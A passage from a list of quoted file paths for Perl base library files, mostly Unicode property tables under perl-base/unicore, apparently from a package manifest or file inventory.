"/usr/lib/x86_64-linux-gnu/perl-base/overloading.pm", "/usr/lib/x86_64-linux-gnu/perl-base/parent.pm", "/usr/lib/x86_64-linux-gnu/perl-base/re.pm", "/usr/lib/x86_64-linux-gnu/perl-base/strict.pm", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/To/Age.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/To/Bc.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/To/Bmg.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/To/Bpb.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/To/Bpt.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/To/Cf.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/To/Ea.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/To/EqUIdeo.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/To/GCB.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/To/Gc.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/To/Hst.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/To/Identif2.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/To/Identifi.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/To/InPC.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/To/InSC.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/To/Isc.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/To/Jg.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/To/Jt.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/To/Lb.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/To/Lc.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/To/NFCQC.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/To/NFDQC.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/To/NFKCCF.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/To/NFKCQC.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/To/NFKDQC.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/To/Na1.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/To/NameAlia.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/To/Nt.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/To/Nv.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/To/PerlDeci.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/To/SB.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/To/Sc.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/To/Scx.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/To/Tc.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/To/Uc.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/To/Vo.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/To/WB.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/To/_PerlLB.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/To/_PerlSCX.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Age/NA.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Age/V100.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Age/V11.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Age/V110.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Age/V120.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Age/V130.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Age/V140.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Age/V20.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Age/V30.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Age/V31.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Age/V32.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Age/V40.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Age/V41.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Age/V50.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Age/V51.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Age/V52.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Age/V60.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Age/V61.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Age/V70.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Age/V80.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Age/V90.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Alpha/Y.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Bc/AL.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Bc/AN.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Bc/B.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Bc/BN.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Bc/CS.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Bc/EN.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Bc/ES.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Bc/ET.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Bc/L.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Bc/NSM.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Bc/ON.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Bc/R.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Bc/WS.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/BidiC/Y.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/BidiM/Y.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Blk/NB.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Bpt/C.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Bpt/N.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Bpt/O.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/CE/Y.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/CI/Y.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/CWCF/Y.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/CWCM/Y.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/CWKCF/Y.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/CWL/Y.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/CWT/Y.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/CWU/Y.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Cased/Y.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Ccc/A.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Ccc/AL.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Ccc/AR.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Ccc/ATAR.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Ccc/B.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Ccc/BR.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Ccc/DB.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Ccc/NK.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Ccc/NR.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Ccc/OV.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Ccc/VR.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/CompEx/Y.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/DI/Y.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Dash/Y.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Dep/Y.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Dia/Y.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Dt/Com.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Dt/Enc.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Dt/Fin.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Dt/Font.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Dt/Init.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Dt/Iso.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Dt/Med.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Dt/Nar.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Dt/Nb.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Dt/NonCanon.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Dt/Sqr.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Dt/Sub.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Dt/Sup.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Dt/Vert.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/EBase/Y.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/EComp/Y.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/EPres/Y.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Ea/A.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Ea/H.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Ea/N.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Ea/Na.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Ea/W.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Emoji/Y.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Ext/Y.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/ExtPict/Y.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/GCB/CN.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/GCB/EX.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/GCB/LV.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/GCB/LVT.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/GCB/PP.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/GCB/SM.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/GCB/XX.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Gc/C.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Gc/Cf.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Gc/Cn.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Gc/L.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Gc/LC.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Gc/Ll.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Gc/Lm.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Gc/Lo.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Gc/Lu.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Gc/M.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Gc/Mc.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Gc/Me.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Gc/Mn.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Gc/N.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Gc/Nd.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Gc/Nl.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Gc/No.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Gc/P.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Gc/Pc.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Gc/Pd.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Gc/Pe.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Gc/Pf.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Gc/Pi.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Gc/Po.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Gc/Ps.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Gc/S.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Gc/Sc.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Gc/Sk.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Gc/Sm.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Gc/So.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Gc/Z.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Gc/Zs.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/GrBase/Y.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/GrExt/Y.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Hex/Y.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Hst/NA.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Hyphen/T.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/IDC/Y.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/IDS/Y.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/IdStatus/Allowed.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/IdStatus/Restrict.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/IdType/DefaultI.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/IdType/Exclusio.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/IdType/Inclusio.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/IdType/LimitedU.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/IdType/NotChara.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/IdType/NotNFKC.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/IdType/NotXID.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/IdType/Obsolete.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/IdType/Recommen.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/IdType/Technica.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/IdType/Uncommon.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Ideo/Y.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/In/10_0.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/In/11_0.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/In/12_0.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/In/12_1.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/In/13_0.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/In/14_0.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/In/2_0.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/In/2_1.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/In/3_0.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/In/3_1.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/In/3_2.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/In/4_0.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/In/4_1.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/In/5_0.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/In/5_1.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/In/5_2.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/In/6_0.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/In/6_1.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/In/6_2.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/In/6_3.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/In/7_0.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/In/8_0.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/In/9_0.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/InPC/Bottom.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/InPC/BottomAn.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/InPC/Left.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/InPC/LeftAndR.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/InPC/NA.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/InPC/Overstru.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/InPC/Right.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/InPC/Top.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/InPC/TopAndBo.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/InPC/TopAndL2.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/InPC/TopAndLe.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/InPC/TopAndRi.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/InPC/VisualOr.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/InSC/Avagraha.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/InSC/Bindu.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/InSC/Cantilla.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/InSC/Consona2.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/InSC/Consona3.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/InSC/Consona4.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/InSC/Consona5.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/InSC/Consona6.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/InSC/Consona7.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/InSC/Consona8.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/InSC/Consonan.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/InSC/Invisibl.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/InSC/Nukta.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/InSC/Number.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/InSC/Other.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/InSC/PureKill.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/InSC/Syllable.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/InSC/ToneMark.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/InSC/Virama.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/InSC/Visarga.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/InSC/Vowel.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/InSC/VowelDep.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/InSC/VowelInd.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Jg/Ain.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Jg/Alef.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Jg/Beh.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Jg/Dal.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Jg/FarsiYeh.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Jg/Feh.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Jg/Gaf.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Jg/Hah.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Jg/HanifiRo.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Jg/Kaf.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Jg/Lam.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Jg/NoJoinin.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Jg/Noon.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Jg/Qaf.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Jg/Reh.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Jg/Sad.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Jg/Seen.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Jg/Tah.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Jg/Waw.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Jg/Yeh.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Jt/C.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Jt/D.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Jt/L.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Jt/R.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Jt/T.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Jt/U.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Lb/AI.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Lb/AL.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Lb/BA.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Lb/BB.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Lb/CJ.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Lb/CL.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Lb/CM.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Lb/EX.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Lb/GL.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Lb/ID.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Lb/IN.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Lb/IS.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Lb/NS.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Lb/NU.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Lb/OP.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Lb/PO.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Lb/PR.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Lb/QU.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Lb/SA.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Lb/XX.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Lower/Y.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Math/Y.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/NFCQC/M.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/NFCQC/Y.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/NFDQC/N.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/NFDQC/Y.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/NFKCQC/N.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/NFKCQC/Y.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/NFKDQC/N.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/NFKDQC/Y.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Nt/Di.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Nt/None.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Nt/Nu.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Nv/0.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Nv/1.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Nv/10.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Nv/100.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Nv/1000.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Nv/10000.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Nv/100000.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Nv/11.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Nv/12.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Nv/13.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Nv/14.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Nv/15.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Nv/16.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Nv/17.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Nv/18.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Nv/19.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Nv/1_16.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Nv/1_2.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Nv/1_3.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Nv/1_4.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Nv/1_6.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Nv/1_8.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Nv/2.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Nv/20.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Nv/200.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Nv/2000.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Nv/20000.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Nv/2_3.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Nv/3.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Nv/30.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Nv/300.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Nv/3000.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Nv/30000.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Nv/3_16.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Nv/3_4.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Nv/4.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Nv/40.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Nv/400.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Nv/4000.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Nv/40000.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Nv/5.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Nv/50.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Nv/500.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Nv/5000.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Nv/50000.pl", 